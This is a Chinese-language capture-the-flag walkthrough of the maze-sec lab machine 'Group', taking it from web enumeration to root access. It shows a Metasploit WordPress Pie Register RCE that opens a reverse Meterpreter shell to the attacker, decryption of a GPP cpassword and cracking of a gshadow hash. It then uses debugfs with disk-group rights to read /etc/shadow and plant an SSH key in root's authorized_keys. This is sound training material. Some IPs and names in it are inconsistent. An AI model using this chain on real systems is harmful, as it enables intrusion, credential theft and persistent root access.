

Group靶机-12138

- 1 靶机名称:Group
- 2 作者:Sublarge
- 3 靶机ID:610
- 4 难度:easy
- 5 靶机地址:<https://maze-sec.com/>
- 6 靶机IP:192.168.222.133
- 7 攻击机IP:192.168.222.129

一.信息探测

1.探测IP

```
Welcome to Alpine Linux 6.12.74-0-lts on an x86_64 (/dev/tty1)
----- Made By -----

.d8888b.      888      888
d88P  Y88b     888      888
Y88b.         888      888
"Y888b.    888 888 88888b. 888 8888b. 888d888 .d88b. .d88b.
"Y88b. 888 888 888 "88b 888 "88b 888P" d88P"88b d8P Y8b
"888 888 888 888 888 888 .d888888 888 888 888 88888888
Y88b d88P Y88b 888 888 d88P 888 888 888 888 Y88b 888 Y8b.
"Y8888P" "Y88888 88888P" 888 "Y888888 888 "Y88888 "Y8888
                        888
                        Y8b d88P
                        "Y88P"

                                @maze-sec.com
----- Happy Hacking! -----

Hostname : Group
IP       : 192.168.222.133
Group login:
```

靶机IP是192.168.222.133

2.探测端口

- 1 nmap -p- -sv 192.168.222.133

```
(kali@kali)-[~/桌面]
$ nmap -p- -sv 192.168.222.133
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 01:24 EDT
Nmap scan report for 192.168.222.133
Host is up (0.0018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.66
MAC Address: 00:0C:29:0A:FD:84 (VMware)
Service Info: Host: group.dsz

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.09 seconds

(kali@kali)-[~/桌面]
```

端口开放了22 和80端口，那么我们只能在80端口下手了

3.探测目录

这里我们需要IP和域名去绑定的，域名是group.dsz，然后我们去爆破目录

```
1 gobuster dir -u http://group.dsz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.txt,.php,.zip,.back.zip
```

```
(kali@kali)~[桌面]
$ gobuster dir -u http://group.dsz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.txt,.php,.zip,.back.zip

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://group.dsz
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: html,txt,php,zip,back.zip
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/wp-content (Status: 301 [Size: 349] [→ http://group.dsz/wp-content/]
/license.txt (Status: 200 [Size: 19903]
/wp-includes (Status: 301 [Size: 350] [→ http://group.dsz/wp-includes/]
/index.php (Status: 301 [Size: 0] [→ http://group.dsz/]
/wp-login.php (Status: 302 [Size: 6474] [→ http://group.dsz/?page_id=13]
/readme.html (Status: 200 [Size: 7425]
/wp-trackback.php (Status: 200 [Size: 135]
/wp-admin (Status: 301 [Size: 347] [→ http://group.dsz/wp-admin/]
Progress: 109502 / 1323354 (8.27%) [ERROR] error on word xmlrpc.php: timeout occurred during the request
Progress: 159579 / 1323354 (12.06%)^Z
zsh: suspended gobuster dir -u http://group.dsz -w -x .html,.txt,.php,.zip,.back.zip

(kali@kali)~[桌面]
```

ok ,看到这个wp-content就知道是wordpress了，我们先去访问一下IP

二.访问IP

```
1 http://group.dsz/
```



可以看到是老大的名言，那么接下来，我们就去使用wpscan工具去扫描漏洞即可。

三.渗透测试

1.插件漏洞

但是扫描出来的漏洞太多了，好像要十几个漏洞的

```
1 wpscan --url http://group.dsz/ --api-token 2Ixxxxxxxxxxxxxxxxxxxxxxx -e u,vp --plugins-detection aggressive
```

但是我们知道漏洞是Pie Register插件漏洞，然后我就去msfconsole去查看即可
最后搜到了一个漏洞**WordPress 用户注册功能中的远程代码执行（RCE）漏洞**

我们去设置相关的信息即可

- ```
1 msfconsole
2 use exploit/unix/webapp/wp_pie_register_bypass_rce
3 show options
4 set rhosts http://group.dsz
5 run
```

```
msf exploit(unix/webapp/wp_pie_register_bypass_rcr) > set rhosts http://group.ds2
rhosts => http://group.ds2
msf exploit(unix/webapp/wp_pie_register_bypass_rcr) > run
[*] Started reverse TCP handler on 192.168.100.103:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable.
[*] Bypassing Authentication
[*] Found cookie: wordpress_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Found cookie: wordpress_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Found cookie: wordpress_logged_in_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Preparing payload...
[*] Uploading payload...
[*] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_pie_register_bypass_rcr) > run
[*] Started reverse TCP handler on 192.168.100.103:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable.
[*] Bypassing Authentication
[*] Found cookie: wordpress_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Found cookie: wordpress_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Found cookie: wordpress_logged_in_a49f562bd852e03fd64651c58e60bd2e=110456787C17767508077CuH9GPFfSXN6s5F3IDAc1mLWva3Q0j3xwyITvctGudGK7Ca991f70472863b5f9b6dfe67b08c1185ef96e769d024a91858cc42adb215433
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/rDBoksUmha/nMrfBHzsql.php ...
[*] Sending stage (43224 bytes) to 192.168.100.102
[*] Deleted nMrfBHzsql.php
[*] Deleted rDBoksUmha.php
[*] Deleted ...rDBoksUmha
[*] Meterpreter session 1 opened (192.168.100.103:4444 -> 192.168.100.102:6311) at 2026-04-19 01:54:45 -0400

meterpreter > shell
Process 18331 created.
Channel 0 created.
uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)
```

成功拿到shell,然后我们先去稳定一下shell

## 2.稳定shell

```
1 | /bin/bash -i
```

```
uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)
Group: /bin/bash -i
V/bin/bash -i
sh:1: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash: cannot set terminal process group (3372): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
Group:/home$ cd /home
cd /home
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
Group:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Mar 5 18:11 .
drwxr-xr-x 21 root root 4096 Mar 6 18:24 ..
drwxr-sr-x 2 vick vick 4096 Apr 19 11:23 vick
Group:/home$
```

鼠标移入其中或按 Ctrl+G.

我们可以稳定shell,然后在目录下发现用户vick, 进去看到了user.txt

这个.profile文件原本是没有的,是我做题的时候写的,不用管它的

```
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
Group:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Mar 5 18:11 .
drwxr-xr-x 21 root root 4096 Mar 6 18:24 ..
drwxr-sr-x 2 vick vick 4096 Apr 19 11:23 vick
Group:/home$ cd vick
cd vick
Group:/home/vick$ ls -la
ls -la
total 16
drwxr-sr-x 2 vick vick 4096 Apr 19 11:23 .
drwxr-xr-x 3 root root 4096 Mar 5 18:11 ..
-rw-r--r-- 1 vick vick 19 Apr 19 11:17 .profile
-rw-r--r-- 1 root vick 44 Mar 5 18:29 user.txt
Group:/home/vick$ cat user.txt
cat user.txt
flag{user-539225fb1c359bbaf8e58a9b5c6aa5e}
Group:/home/vick$
```

鼠标移入其中或按 Ctrl+G.

## 3.切换vick用户

我们现在的id是www-data,既然有vick用户, 那么我们就需要去切换到vick用户下的

一般情况我都会去/opt/目录下去查看有没有文件或者脚本什么的, 可以看到一个文件去读取

```
find / -user vick -type f
Group:/home/vick$ cd /opt
cd /opt
Group:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Mar 5 20:07 .
drwxr-xr-x 21 root root 4096 Mar 6 18:24 ..
-rw-r--r-- 1 root root 319 Mar 5 20:07 Groups.xml
Group:/opt$ cat Groups.xml
cat Groups.xml
<Groups xmlns:userid="http://www.microsoft.com/GroupPolicy/Settings/Users">
 <User clsid="{15171732-B13-4354-8071-B07E2368305A}" name="LocalAdmin" uid="{F9706C86-B460-4447-9C9D-E005B0673891}">
 <Properties action="U" userName="admin" cpassword="wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=" />
 </User>
</Groups>
Group:/opt$
```

鼠标移入其中或按 Ctrl+G.

```
1 | gpp-decrypt wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=
```

```
(kali㉿kali)-[~/桌面]
$ gpp-decrypt wh/dhDkLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=

1045670921

(kali㉿kali)-[~/桌面]
$
```

猜测是Vick的密码，我们去测试登录

```
(kali㉿kali)-[~/桌面]
$ gpp-decrypt wh/dhDkLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=

1045670921

(kali㉿kali)-[~/桌面]
$ ssh vick@192.168.222.133
The authenticity of host '192.168.222.133 (192.168.222.133)' can't be established.
ED25519 key fingerprint is SHA256:x300dWmSsPR2afHz9etzSdtxlMmLI+JvbwgV/iCsWY.
This host key is known by the following other names/addresses:
 ~/.ssh/known_hosts:1: [hashed name]
 ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.222.133' (ED25519) to the list of known hosts.
vick@192.168.222.133's password:

WELCOME

chmod: /bin/bash: Operation not permitted
vick@Group:~$ id
uid=1000(vick) gid=1000(vick) groups=1000(vick)
vick@Group:~$ ls -la
total 16
drwxr-xr-x 2 vick vick 4096 Apr 19 11:23 .
drwxr-xr-x 3 root root 4096 Mar 5 18:11 ..
-rw-r--r-- 1 vick vick 19 Apr 19 11:17 .profile
-rw-r--r-- 1 root vick 44 Mar 5 18:29 user.txt
vick@Group:~$
```

可以看到登录成功

## 4.disk提权

然后就是去提权了，首先还是sudo -l，结果用不了

```
-rw-r--r-- 1 root vick 44 Mar 5 18:29 user.
vick@Group:~$ sudo -l
[sudo] password for vick:
Sorry, user vick may not run sudo on Group.
vick@Group:~$ cd /tmp
```

然后就是去看定时任务，发现也没有什么，那么就只能上我们的工具了linpeas.sh

```
[1] https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d
[+] Hashes inside passwd file? No
[+] Writable passwd file? No
[+] Credentials in fstab/mtab? No
[+] Can I read shadow files? disk:peDyKkCISQ5zM::root
sudo:6RXUH2N1MJ0bo::
disk:peDyKkCISQ5zM::root
[+] Can I read opasswd file? No
[+] Can I write in network-scripts? No
[+] Can I read root folder? total 0
No
[+] Searching root files in home dirs (limit 30)
/home/
/home/vick/user.txt
/root/
[+] Searching folders owned by me containing others files on it
[+] Readable files belonging to root and readable by me but not world readable
-rw-r--r-- 1 root vick 15 Mar 5 18:30 /etc/gshadow-
-rw-r--r-- 1 root vick 46 Mar 5 20:09 /etc/gshadow
[+] Modified interesting files in the last 5 mins (limit 100)
/var/log/messages
/var/log/dmesg
```

我们可以看到有一个disk和sudo,而且密码是加密的，我们去解密试试看

```
disk:peDyKkCISQ5zM::root
vick@Group:/tmp$ cat /etc/gshadow
disk:peDyKkCISQ5zM::root
sudo:6RXUH2N1MJ0bo::
vick@Group:/tmp$
```

```
1 disk:peDyKkCISQ5zM::root
2 sudo:6RXUH2N1MJ0bo::
```

最后只能解密出来disk的密码是19882006

```
(kali㉿kali)-[~]
└─$ john --format=crypt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 1 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 94 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
19882006 (disk)
19-06-06:24 DONE 3/3 (2026-04-18 22:35) 0.04071g/s 297718p/s 297718c/s 19880591..19882492
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

#### 1. 字段拆解

Linux 中的 `/etc/gshadow` 文件每一行通常由四个字段组成，用冒号 `:` 分隔：

组名 : 加密密码 : 组管理员 : 组员列表

以你抓到的两行为例：

第一行： `disk:peDyKkCISQ5zM::root`

- 组名： `disk` （通常拥有对磁盘设备的直接访问权）。
- 加密密码： `peDyKkCISQ5zM` 。这是一个 DES 加密 的哈希值。
- 组管理员： 为空（冒号中间没东西）。
- 组员： `root` 。

第二行： `sudo:6RXUH2N1MJ0bo::`

- 组名： `sudo` （在很多系统中，这个组的成员可以使用 `sudo` 命令）。
- 加密密码： `6RXUH2N1MJ0bo` （也是 DES 哈希）。

我们可以看到是一个组名叫disk,然后密码是19882006

那么我们去登录组名

```
1 newgrp disk
```

```
[2]+ Stopped bash linpeas.sh
vick@Group:/tmp$ id
uid=1000(vick) gid=1000(vick) groups=1000(vick)
vick@Group:/tmp$ newgrp disk

Password: vick@Group:/tmp$ id
uid=1000(vick) gid=6(disk) groups=1000(vick)
vick@Group:/tmp$
```

现在可以看到有效组 ID 变成了 `disk`。

**发生了什么：**你刚才一定运行了类似 `newgrp disk` 的命令并成功通过了验证。这意味着你现在拥有了对系统所有硬盘设备的直接读写权限。

为什么 `gid=6(disk)` 等于拿到了 Root？

在 Linux 中，`/dev/sda` 或 `/dev/vda`（硬盘设备文件）通常属于 `disk` 组。既然你是 `disk` 组的一员，你现在可以绕过文件系统的所有权限（不看 `rwX`），直接读取硬盘上的二进制数据。

这就像是你虽然没有房间（文件夹）的钥匙，但你现在拥有了透视眼和直接从墙外（底层磁盘）读取日记内容的能力。

首先，想到是去读取root的密码的

第一步:锁定目标磁盘

首先要确认你的根文件系统（/）到底在哪块盘上，这样我们才知道改哪里。

```
1 df -h /
```

```
vick@Group:/tmp$ ls -l /dev/sda* /dev/vda*
ls: /dev/vda*: No such file or directory
brw-rw---- 1 root disk 8, 0 Apr 19 2026 /dev/sda
brw-rw---- 1 root disk 8, 1 Apr 19 2026 /dev/sda1
brw-rw---- 1 root disk 8, 2 Apr 19 2026 /dev/sda2
brw-rw---- 1 root disk 8, 3 Apr 19 13:08 /dev/sda3
vick@Group:/tmp$ df -h /
Filesystem Size Used Available Use% Mounted on
/dev/sda3 9.0G 794.2M 7.9G 9% /
vick@Group:/tmp$
```

我们知道磁盘是/dev/sda3

第二步:利用底层工具“越狱”读取

尝试使用 debugfs（最专业的磁盘调试工具）：

```
1 debugfs -R "cat /etc/shadow" /dev/sda3
```

```
vick@Group:/dev$ debugfs -R "cat /etc/shadow" /dev/sda3
debugfs 1.47.2 (1-Jan-2025)
root:6CuY8vPFCVTuIIx0$KLGs2enFUpVJLcPLWzMyDC17Ir9S8F17f/RQ/IVzRoWkhjfdv62G0RjpwLq3FqOf.0Q2qJxTt2LZjdPHNJ0:28517:0:
bin:::0:
daemon:::0:
lp:::0:
sync:::0:
shutdown:::0:
halt:::0:
mail:::0:
news:::0:
uucp:::0:
cron:::0:
ftp:::0:
sshd:::0:
games:::0:
ntp:::0:
guest:::0:
nobody:::0:
klogd:::28242:0:99999:7::
nginx:::28242:0:99999:7::
caddy:::28482:0:99999:7::
lighttpd:::28482:0:99999:7::
apache:::28509:0:99999:7::
www-data:::28509:0:99999:7::
mysql:::28517:0:99999:7::
vick:$6$4UHG5s3Jb3IXBmM$6nW1a3thx3.s05M445njRCSmIsy7LGO.ohtDSJMfmaDRPDkgBuFuRALaYgU/WU4q1OCFwYhp84z6c/wmeoPwH41:28517:0:99999:7::
vick@Group:/dev$ debugfs -R "cat /etc/passwd" /dev/sda3 > /tmp/passwd.txt
```

第三步:爆破密码(没有成功)

既然我能去查看/etc/shadow.那么我能不能直接去查看root.txt呢,结果是可以的

```
1 debugfs -R "cat /root/root.txt" /dev/sda3
```

```
vick@Group:/tmp$
vick@Group:/tmp$ debugfs -R "cat /root/root.txt" /dev/sda3
debugfs 1.47.2 (1-Jan-2025)
flag{root-6c550ffedd08a2f1536b6d589313e241}
vick@Group:/tmp$
```

root.txt是拿到了，但是没有拿到root的shell,然后我就在想能不能去读取私钥，然后22端口登录(结果没有私钥)

```
1 debugfs -R "cat /root/.ssh/id_rsa" /dev/sda3
```



```
vick@Group:/tmp$ debugfs -R "cat /root/.ssh/id_rsa" /dev/sda3
debugfs 1.47.2 (1-Jan-2025)
/root/.ssh/id_rsa: File not found by ext2_lookup
vick@Group:/tmp$ |
```

然后，我又在想，既然没有私钥，我能不能去上传自己的公钥呢，结果是可以的

第一步:准备公钥

```
1 | ssh-keygen -t rsa -b 4000
```

第二步:上传公钥

```
1 | echo "ssh-rsa AAAABxxxxxx root@kali" > /tmp/my_auth_keys
```

第三步:利用 debugfs 注入磁盘

```
1 | debugfs -w -R "write /tmp/my_auth_keys /root/.ssh/authorized_keys" /dev/sda3
```

```
[3]+ Stopped debugfs -R "ls -p /root/.ssh" /dev/sda3
vick@Group:~$ echo "ssh-rsa AAAABxxxxxx root@kali" > /tmp/my_auth_keys
vick@Group:~$ debugfs -w -R "write /tmp/my_auth_keys /root/.ssh/authorized_keys" /dev/sda3
debugfs 1.47.2 (1-Jan-2025)
Allocated inode: 14650
vick@Group:~$ cat /etc/passwd
```

我们可以看到没有报错，那么我们试试能不能去登录吧。

## 5.root登录

```
1 | ssh root@192.168.222.133
```

```
[sudo] kali 的密码:
(root@kali)~# ssh root@192.168.222.133
Welcome to Kali Linux!
root@Group:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Group:~# ls -la
total 20
drwxr-xr-x 3 root root 4096 Mar 5 20:27 .
drwxr-xr-x 21 root root 4096 Mar 6 18:24 ..
lrwxrwxrwx 1 root root 9 Feb 25 17:00 .bash_history -> /dev/null
-rw-r--r-- 1 root root 80 Mar 5 20:27 .mariadb_history
drwxr-xr-x 2 root root 4096 Dec 30 00:40 .ssh
-rw-r--r-- 1 root root 44 Mar 5 18:29 root.txt
root@Group:~# cd .ssh
root@Group:~/.ssh# ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 30 00:40 .
drwxr-xr-x 3 root root 4096 Mar 5 20:27 ..
-rw-r--r-- 1 root root 735 Apr 19 13:08 authorized_keys
root@Group:~/.ssh# |
```

我们可以看到登录成功的。通过这个靶机，可以学到debugfs工具的使用和组名

至此，这个靶机渗透测试成功。